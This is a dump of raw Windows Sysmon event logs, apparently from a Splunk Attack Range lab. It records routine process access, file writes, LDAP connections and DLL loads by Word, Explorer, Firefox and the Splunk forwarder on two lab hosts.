10341000x800000000000000056766Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:57.012{7BD73061-728B-613B-500B-00000000F001}64441876C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056765Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:57.012{7BD73061-728B-613B-500B-00000000F001}64441876C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000056764Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:57.012{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Administrator\AppData\Roaming\Microsoft\Office\Recent\Templates.LNK2021-09-10 15:08:57.012 23542300x800000000000000056790Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:58.925{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=188564EF54DD4644BDA1CCC3B43C912D,SHA256=F6E4F85F3A44F40065D7DC47BE62E183A6745FF761E2091447048CF9F551EEFC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018257Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:58.835{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6E99BCC16F94C26827515005B06BE732,SHA256=BD162F4CAB9E94706E461FE4F385A18789935DE8EA4748C688A4B751B5B6CFDC,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000018256Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:57.484{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50415-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000056795Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:59.989{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7F462752EF2F82C4C8E05F776E382E78,SHA256=053649961BD60808EB89C7643F4A6B97D028949B080BBC113E1E12DFBCFD49D6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000056794Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:57.746{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63183-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000056793Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:57.746{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63183-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 23542300x800000000000000018258Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:59.851{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=655507452463C20A9674F5A9C7C245AF,SHA256=321562E893BFB1741BEB45D6379493D95D2A1951C0D356C5FE250C3C86D8A33E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056792Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:59.472{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=7B27672FDAA8A58144B5DE1237593AC5,SHA256=76D7E4B78951D49B947B25712155DE7AAC4AFFF5AE386101F8C6D017DC3D4B85,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056791Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:59.472{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=C6B5CD396F5611C3BEAF094471641F27,SHA256=CA6D1AA6D1F8D5B7B71D4BEC499ADF8D8A74CAF94E4BA9061B4597D6DE35F8D0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018259Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:00.851{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1EC6B591A9517C521E29D8BBBE3C98E5,SHA256=A6CC0FACD82EA916A12B0D8D79E3D8F37ADD40CD38916A02B55CDE53136E48DC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018260Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:01.866{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2BC7945DB0BE9E9A1102A28ADC96E693,SHA256=DA98E94D8C96D1E3DEE3FD002DE6A2D8B2D7524B12DD0119648A5F467088B3CB,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000056801Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:01.454{7BD73061-6D0F-613B-9406-00000000F001}44804728C:\Windows\Explorer.EXE{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056800Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:01.438{7BD73061-728D-613B-560B-00000000F001}47766432C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056799Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:01.438{7BD73061-728D-613B-560B-00000000F001}47766432C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056798Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:01.438{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62390|C:\Windows\System32\TwinUI.dll+f54e1|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056797Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:01.438{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\TwinUI.dll+f5319|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000056796Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:01.007{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B58A1ECDF699F6E8636FF4B2D84CB30D,SHA256=2A92F465EE83F9A89E28DC7D313B0E0A8153673E6EC69B95101083B449EA925C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018262Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:02.866{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B5A54F36281F897E210B7A0175DFAFB1,SHA256=B9D49DF3E6D770EA8E8F1CED5454C1ACDF35DC2793EFFF1AFA7916250EE19101,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056802Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:02.008{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=12E8552DA7C2B45F21DBD0F01C5A5CF7,SHA256=596E38A8F04334DA9E219606E3F3B313879FC0CE0B62F5DED8C990E8E2DF45CE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018261Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:02.398{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=C462237841A324A5E38F6448FB631D0E,SHA256=7A9E1E7847A481D1BFCF34B1CEF461A425DB3778692331F8CE93A825BD3EC2F2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018263Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:03.882{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8C23F481EA6ECDBEE15901CB7A781497,SHA256=F486D71F2A991FB2EB1717FAAE3ED8AA81B0721B564600D8870AF168DB282438,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000056952Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.991{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\ncrypt.dll10.0.14393.4046 (rs1_release.201028-1803)Windows NCrypt RouterMicrosoft® Windows® Operating SystemMicrosoft Corporationncrypt.dllMD5=025DBE9D0F7AE719C64DE3A4555A7C0A,SHA256=1A223828A444E7797A9E00632DAE81AC3AC68B38786E67912B1C3FC6118FB6B4,IMPHASH=B6A1A16A2B5E910045E998CD7709E966trueMicrosoft WindowsValid 734700x800000000000000056951Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.991{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\mskeyprotect.dll10.0.14393.4046 (rs1_release.201028-1803)Microsoft Key Protection ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationmskeyprotect.dllMD5=87A5C9919D4A67629718959772E120DD,SHA256=707BD6ECE458848F7343C2CF3184A74D99C40E7F5E58E5DA608E4C88D03609E4,IMPHASH=D74AB287506D6E20949755E75302AD32trueMicrosoft WindowsValid 734700x800000000000000056950Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.970{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\schannel.dll10.0.14393.4225 (rs1_release.210127-1811)TLS / SSL Security ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationschannel.dllMD5=2562B81E255EB6DF8497402ABC6C59BB,SHA256=340532C238CA5B84BA9D7A2DB4D1CCD58D869FECC44A463A93F54C974E1B41F4,IMPHASH=D9603397C5B04530FFA0321E70FF2308trueMicrosoft WindowsValid 734700x800000000000000056949Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.970{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000056948Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.970{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\FWPUCLNT.DLL10.0.14393.0 (rs1_release.160715-1616)FWP/IPsec User-Mode APIMicrosoft® Windows® Operating SystemMicrosoft Corporationfwpuclnt.dllMD5=A65FA613342B08E0F760D8B13B9C135A,SHA256=C64A1EC862188D2EE1202DB02BFBF4E2DD56780905E509012799EB57FC9A88ED,IMPHASH=6097EA32A6AE2378711DDF884725A2AFtrueMicrosoft WindowsValid 23542300x800000000000000056947Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.954{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E9ED5626FD91DFE232C87BE2F72FFA53,SHA256=CA2602D58E974040E4C5A9D057A3DDDBC3AEFA3420308171F721396769BC97F6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000056946Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.938{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\rasadhlp.dll10.0.14393.0 (rs1_release.160715-1616)Remote Access AutoDial HelperMicrosoft® Windows® Operating SystemMicrosoft Corporationrasadhlp.dllMD5=FAE8D0480BDD905EEA453D3A57C8D5C6,SHA256=C1531223B8201B344A6A6474CB2D9B8A8C632250A3A6F472EC5E2D7D28ADD94C,IMPHASH=98E0DBCEA076EF80E7DE241072E34656trueMicrosoft WindowsValid 10341000x800000000000000056945Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.923{7BD73061-65B2-613B-0D00-00000000F001}8926608C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+f526|c:\windows\system32\rpcss.dll+121ba|c:\windows\system32\rpcss.dll+740c|C:\Windows\System32\RPCRT4.dll+64b8c|C:\Windows\System32\RPCRT4.dll+64979|C:\Windows\System32\RPCRT4.dll+64793|C:\Windows\System32\RPCRT4.dll+3f7d4|C:\Windows\System32\RPCRT4.dll+3fc51|C:\Windows\System32\RPCRT4.dll+1c39d|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056944Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.923{7BD73061-65B2-613B-0D00-00000000F001}8926608C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+f526|c:\windows\system32\rpcss.dll+121ba|c:\windows\system32\rpcss.dll+740c|C:\Windows\System32\RPCRT4.dll+64b8c|C:\Windows\System32\RPCRT4.dll+64979|C:\Windows\System32\RPCRT4.dll+64793|C:\Windows\System32\RPCRT4.dll+3f7d4|C:\Windows\System32\RPCRT4.dll+3fc51|C:\Windows\System32\RPCRT4.dll+1c39d|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000056943Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.923{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 10341000x800000000000000056942Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.923{7BD73061-65B2-613B-0D00-00000000F001}8926608C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+f526|c:\windows\system32\rpcss.dll+121ba|c:\windows\system32\rpcss.dll+740c|C:\Windows\System32\RPCRT4.dll+64b8c|C:\Windows\System32\RPCRT4.dll+64979|C:\Windows\System32\RPCRT4.dll+64793|C:\Windows\System32\RPCRT4.dll+3f7d4|C:\Windows\System32\RPCRT4.dll+3fc51|C:\Windows\System32\RPCRT4.dll+1c39d|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056941Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.923{7BD73061-65B2-613B-0D00-00000000F001}8926608C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+f526|c:\windows\system32\rpcss.dll+121ba|c:\windows\system32\rpcss.dll+740c|C:\Windows\System32\RPCRT4.dll+64b8c|C:\Windows\System32\RPCRT4.dll+64979|C:\Windows\System32\RPCRT4.dll+64793|C:\Windows\System32\RPCRT4.dll+3f7d4|C:\Windows\System32\RPCRT4.dll+3fc51|C:\Windows\System32\RPCRT4.dll+1c39d|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056940Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.923{7BD73061-65B2-613B-0D00-00000000F001}8926608C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+f526|c:\windows\system32\rpcss.dll+121ba|c:\windows\system32\rpcss.dll+740c|C:\Windows\System32\RPCRT4.dll+64b8c|C:\Windows\System32\RPCRT4.dll+64979|C:\Windows\System32\RPCRT4.dll+64793|C:\Windows\System32\RPCRT4.dll+3f7d4|C:\Windows\System32\RPCRT4.dll+3fc51|C:\Windows\System32\RPCRT4.dll+1c39d|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000056939Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.923{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000056938Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.923{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\urlmon.dll11.00.14393.4530 (rs1_release.210705-0736)OLE32 Extensions for Win32Internet ExplorerMicrosoft CorporationUrlMon.dllMD5=B63DBDFEC215CF37259DC4A88ADBD0E7,SHA256=67B02F3DE0AF36E76C2D259CE7833EDA4FE33D935538E8A4C1E7E82130870FC1,IMPHASH=D30D879B129DBE4925A85E9DD136188BtrueMicrosoft WindowsValid 10341000x800000000000000056937Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 